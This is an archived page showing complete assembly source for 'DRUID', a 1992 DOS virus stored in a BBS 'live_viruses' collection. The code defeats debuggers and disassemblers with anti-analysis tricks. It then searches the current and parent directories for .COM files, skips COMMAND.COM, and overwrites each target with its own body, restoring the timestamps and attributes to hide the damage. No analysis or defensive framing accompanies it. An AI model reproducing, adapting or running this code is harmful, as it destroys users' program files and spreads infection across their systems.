home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / druid.asm < prev    next >
Assembly Source File  |  1992-10-08  |  6KB  |  139 lines
  1. fname           equ     9eh                      ; pointer to filename in DTA
  2.  
  3. seg_a           segment byte public
  4.         assume  cs:seg_a, ds:seg_a
  5.  
  6.  
  7.                 org     100h
  8.  
  9. druid           proc    far
  10. vstart          equ     $
  11.  
  12. start:
  13.                 mov     ax,2EBh                 ; used to baffle sourcer...
  14.                 jmp     $-2                     ;
  15.  
  16.                 mov     dx,offset newint        ; set int1 to newint
  17.                 mov     ax,2501h                ;
  18.                 int     21h                     ;
  19.  
  20.                 mov     al,3                    ; set int3 to newint
  21.                 int     21h                     ;
  22.  
  23.                 mov     dx,offset newint        ; do it again...
  24.                 mov     ax,2501h                ;
  25.                 int     21h                     ;
  26.                 mov     al,1                    ;
  27.                 int     21h                     ;
  28.  
  29.                 mov     ah,47h                  ; get current directory
  30.                 xor     dl,dl                   ; and save it
  31.                 lea     si,currdir              ;
  32.         int     21h                     ;
  33.  
  34. again:
  35.  
  36.                 lea     dx,fmask                ;
  37.                 mov     ah,4Eh                  ; Find first *.COM
  38. getfile:
  39.                 int     21h                     ;
  40.                                                 ;
  41.                 jnc     found_ok                ;if ok, goto found_ok
  42.                 jmp     short bailout           ;if no more files, goto bail out
  43.                 nop
  44. found_ok:
  45.         mov     si,fname                ; load filename into ax
  46.                 lodsw
  47.                 cmp     ax,'OC'                 ; if first 3 letters is "CO"
  48.                                                 ; as in "COMMAND.COM"
  49.                 jne     infect                  ; if not, go on
  50.                 jmp     getnext                 ; else, get another file
  51.  
  52.                 mov     ax,2EBh                 ; used to baffle sourcer...
  53.                 jmp     $-2                     ;
  54. infect:
  55.                 mov     dx,fname                ; get attribute
  56.                 mov     ax,4300h                ; of the file found
  57.                 int     21h
  58.         push    cx                      ; and save it
  59.  
  60.                 xor     cx,cx                   ; reset attributes
  61.                 mov     ax,4301h                ;
  62.                 int     21h                     ;
  63.  
  64.                 mov     ax,2EBh                 ; used to baffle sourcer...
  65.                 jmp     $-2                     ;
  66.  
  67.                 mov     dx,fname                ; open file
  68.                 mov     ax,3D02h                ;
  69.                 int     21h                     ; DOS Services  ah=function 3Dh
  70.                                                 ;  open file, al=mode,name@ds:dx
  71.         jc      getnext                 ; if error, skip to loc_5
  72.  
  73.                 xchg    ax,bx                   ; get handle in bx
  74.  
  75.                 mov     ax,5700h                ; get time'n date
  76.                 int     21h                     ;
  77.                 push    dx                      ; save'em
  78.                 push    cx                      ;
  79.  
  80.                 mov     ah,40h                  ; write virus to target
  81.                 mov     cx,virlen               ; number of bytes to write
  82.                 mov     dx,fname                ; pointer to file
  83.                 int     21h                     ;
  84.  
  85.                 pop     cx                      ; restore the date'n time
  86.                 pop     dx                      ;
  87.                 mov     ax,5701h                ;
  88.                 int     21h                     ;
  89.  
  90.                 mov     ah,3Eh                  ; close target
  91.                 int     21h                     ;
  92.  
  93.                 pop     cx                      ; restore the attributes
  94.                 mov     ax,4301h                ;
  95.                 mov     dx,fname                ;
  96.                 int     21h                     ;
  97. getnext:
  98.                 mov     ah,4Fh                  ; get next file matching *.COM
  99.                 jmp     short getfile
  100. bailout:
  101.                 mov     ax,2EBh                 ; used to baffle sourcer...
  102.                 jmp     $-2                     ;
  103.  
  104.                 lea     dx,dot_dot              ; "cd.."
  105.                 mov     ah,3Bh                  ;
  106.                 int     21h                     ;
  107.  
  108.                 jc      exit                    ; if error, goto exit
  109.                 jmp     short again             ; do it all over again
  110. exit:
  111.                 mov     ax,2EBh                 ; used to baffle sourcer...
  112.                 jmp     $-2                     ;
  113.  
  114.                 mov     ah,3Bh                  ; change back to
  115.                 lea     dx,return_dir           ; original directory
  116.                 int     21h                     ;
  117.  
  118.                 mov     ax,4C00h                ; quit to dos with
  119.                 int     21h                     ; errorlevel 0
  120.  
  121. id              db      ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
  122.  
  123. druid           endp
  124.  
  125. newint          proc    far                     ; replaces INT1 and INT3
  126.                 iret                            ; with this.
  127. newint          endp                            ;
  128.  
  129. fmask           db      '*.COM',0
  130. dot_dot         db      '..',0
  131. return_dir      db      '\'                     ; the slash is used when
  132. currdir         dw      32 dup (?)              ; returning to old dir.
  133.  
  134. vend            equ     $
  135. virlen          equ     vend - vstart
  136.  
  137. seg_a           ends
  138.                 end     start
  139.